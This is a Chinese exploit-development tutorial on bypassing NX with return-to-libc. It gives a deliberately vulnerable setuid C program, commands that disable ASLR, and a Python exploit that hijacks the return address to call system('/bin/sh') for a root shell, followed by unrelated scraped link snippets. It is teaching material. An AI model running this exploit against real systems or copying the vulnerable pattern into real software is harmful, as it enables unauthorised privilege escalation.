Linux (x86) Exploit 开发系列教程之四(使用return-to-libc绕过NX bit)
(1)原理:
“NX Bit”的漏洞缓解:使某些内存区域不可执行,并使可执行区域不可写。示例:使数据,堆栈和堆段不可执行,而代码段不可写。
在NX bit打开的情况下,基于堆栈的缓冲区溢出的经典方法将无法利用此漏洞。因为在经典的方法中,shellcode被复制到堆栈中,返回地址指向shellcode。但是现在由于堆栈不再可执行,我们的漏洞利用失败!但是这种缓解技术并不完全是万无一失的,使用叫做“return-to-libc”的攻击技术绕过NX bit。这里返回地址被一个特定的libc函数地址覆盖(而不是包含shellcode的堆栈地址)。例如,如果攻击者想要生成一个shell,那么他将使用system()地址覆盖返回地址,并在堆栈中设置system()所需的相应参数,以便成功调用它。
(2)源代码
- //vuln.c
- #include <stdio.h>
- #include <string.h>
- int main(int argc, char* argv[]) {
- char buf[256]; /* [1] */
- strcpy(buf,argv[1]); /* [2] */
- printf("%s\n",buf); /* [3] */
- fflush(stdout); /* [4] */
- return 0;
- }
(3)编译
先关闭ASLR地址空间随机化,“-z execstack”参数不传递给gcc,因此现在堆栈是非可执行的
- sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
- gcc -g -fno-stack-protector -o vuln vuln.c
- sudo chown root vuln
- sudo chgrp root vuln
- sudo chmod +s vuln
堆栈段只包含RW标志,无E标志,不可执行
(4)攻击代码:
- #exp.py
- #!/usr/bin/env python
- import struct
- from subprocess import call
- system = 0xb7e60430
- exit = 0xb7e53fb0
- binsh_arg = 0xb7f82d98
- def conv(num):
- return struct.pack("<I",num)
- buf = "A" * 268
- buf += conv(system)
- buf += conv(exit)
- buf += conv(binsh_arg)
- print "Calling vulnerable program"
- call(["./vuln", buf])
用gdb调试找到sytem和exit,bin/sh的地址。其中system的地址覆盖返回地址。
(5)执行攻击程序,获得root shell。
(6)在实际应用中,root setuid程序会采用最小权限的原则,在用户输入之前删除用户获得的root权限,所以只能获得普通用户权限
漏洞代码:
- //vuln_priv.c
- #include <stdio.h>
- #include <string.h>
- int main(int argc, char* argv[]) {
- char buf[256];
- seteuid(getuid()); /* Temporarily drop privileges */
- strcpy(buf,argv[1]);
- printf("%s\n",buf);
- fflush(stdout);
- return 0;
- }
用上述方法获得攻击代码,执行攻击程序只能获得普通用户权限
原创作者提示:执行程序调用system,随后退出,发现它不足以获取root shell。但是如果我们的利用代码(exp_priv.py)被修改为调用以下libc函数(按照列出的顺序)
seteuid(0)
system(“sh”)
exit()
我们将获得root shell。这种技术被称为链接到libc!
(我不会)
Linux (x86) Exploit 开发系列教程之四(使用return-to-libc绕过NX bit)的更多相关文章
- Linux (x86) Exploit 开发系列教程之六(绕过ASLR - 第一部分)
转:https://bbs.pediy.com/thread-217390.htm 前提条件: 经典的基于堆栈的缓冲区溢出 虚拟机安装:Ubuntu 12.04(x86) 在以前的帖子中,我们看到了攻 ...
- Linux (x86) Exploit 开发系列教程之七 绕过 ASLR -- 第二部分
(1)原理: 使用爆破技巧,来绕过共享库地址随机化.爆破:攻击者选择特定的 Libc 基址,并持续攻击程序直到成功.这个技巧是用于绕过 ASLR 的最简单的技巧. (2)漏洞代码 //vuln.c # ...
- Linux (x86) Exploit 开发系列教程之三(Off-By-One 漏洞 (基于栈))
off by one(栈)? 将源字符串复制到目标缓冲区可能会导致off by one 1.源字符串长度等于目标缓冲区长度. 当源字符串长度等于目标缓冲区长度时,单个NULL字节将被复制到目标缓冲区上 ...
- Linux (x86) Exploit 开发系列教程之二(整数溢出)
(1)漏洞代码 //vuln.c #include <stdio.h> #include <string.h> #include <stdlib.h> void s ...
- Linux (x86) Exploit 开发系列教程之一(典型的基于堆栈的缓冲区溢出)
(1)漏洞代码 //vuln.c #include <stdio.h> #include <string.h> int main(int argc, char* argv[]) ...
- linux虚拟主机wdcp系列教程之四
当我们安装了网站服务管理系统wdcp之后,在使用过程中可能会出现这样或那样的疑问,下面给大家整理几点出来,方便大家学习. 1.wdcp支持的在线解压 有时小文件数据量,但整个目录上传会比较慢,如果打包 ...
- 微信公众号开发系列教程一(调试环境部署续:vs远程调试)
http://www.cnblogs.com/zskbll/p/4080328.html 目录 C#微信公众号开发系列教程一(调试环境部署) C#微信公众号开发系列教程一(调试环境部署续:vs远程调试 ...
- C#微信公众号开发系列教程三(消息体签名及加解密)
http://www.cnblogs.com/zskbll/p/4139039.html C#微信公众号开发系列教程一(调试环境部署) C#微信公众号开发系列教程一(调试环境部署续:vs远程调试) C ...
- C#微信公众号开发系列教程二(新手接入指南)
http://www.cnblogs.com/zskbll/p/4093954.html 此系列前面已经更新了两篇博文了,都是微信开发的前期准备工作,现在切入正题,本篇讲解新手接入的步骤与方法,大神可 ...
随机推荐
- Print工具类
这篇文章已经废弃. 实际开发中,打印信息只会用日志框架(Log4j2). 受到Thinking in Java中静态引入(import static)的启发, Deolin也打算写一个方便自己的工具类 ...
- 常使用的VIM命令及文件颜色代表含义
编辑模式--->输入模式 i : insert 在光标所在处输入: a:append 在光标所在处后面输入: o:在当前光标所在行的下方打开一个新行: I:在当前光标所在行的行首输入: A:在当 ...
- JavaWeb_(Mybatis框架)MyBatis整合Spring框架
MyBatis + Spring整合开发 a)使用Spring容器用单例模式管理Mybatis的sqlSessionFactory:b)使用Spring管理连接池.数据源等:c)将Dao/Mapper ...
- CF1208C
CF1208C 这场杜老师大战tourist的比赛怎么这么多人类智慧题... 题意: 构造一个 $ n \times n $ 的矩阵,使得该矩阵每一行与每一列的元素的异或和全部相等. 解法: 异或的神 ...
- postgre-插入数据时的单引号问题
场景: 将一个HTML页面存储到数据库中 问题: HTML页面中既包含单引号也包含双引号 解决办法: 双单引号 INSERT INTO table VALUES ('<html><s ...
- pwn学习日记Day8 基础知识积累
知识杂项 aslr:是一种针对缓冲区溢出的安全保护技术,通过对堆.栈.共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的的一种技术 ...
- Python 自学笔记(三)
1.列表 1-1.什么是列表 列表的代码格式:teacher=['张三','李四','王五'] 这里的['张三','李四','王五'] 就是一个列表,一个列表需要用中括号[ ]把里面的各种数据框起来, ...
- 免费下载 SetupVPN CRX 3.7.0 for Chrome OR QQ浏览器
免费下载 SetupVPN CRX 3.7.0 for Chrome OR QQ浏览器 Lifetime Free VPN(微劈嗯) 下载setupvpn 3.7.0的crx文件, 打开chrome的 ...
- windows 10中的ubuntu子系统安装桌面环境的方法
windows 10中的ubuntu子系统安装桌面环境的方法 (How to install Ubuntu-desktop in windows 10 Subsystem for Linux) 转载 ...
- qt application logging
“AnalysisPtsDataTool201905.exe”(Win32): 已加载“F:\OpencvProject\ZY-Project\x64\Debug\AnalysisPtsDataToo ...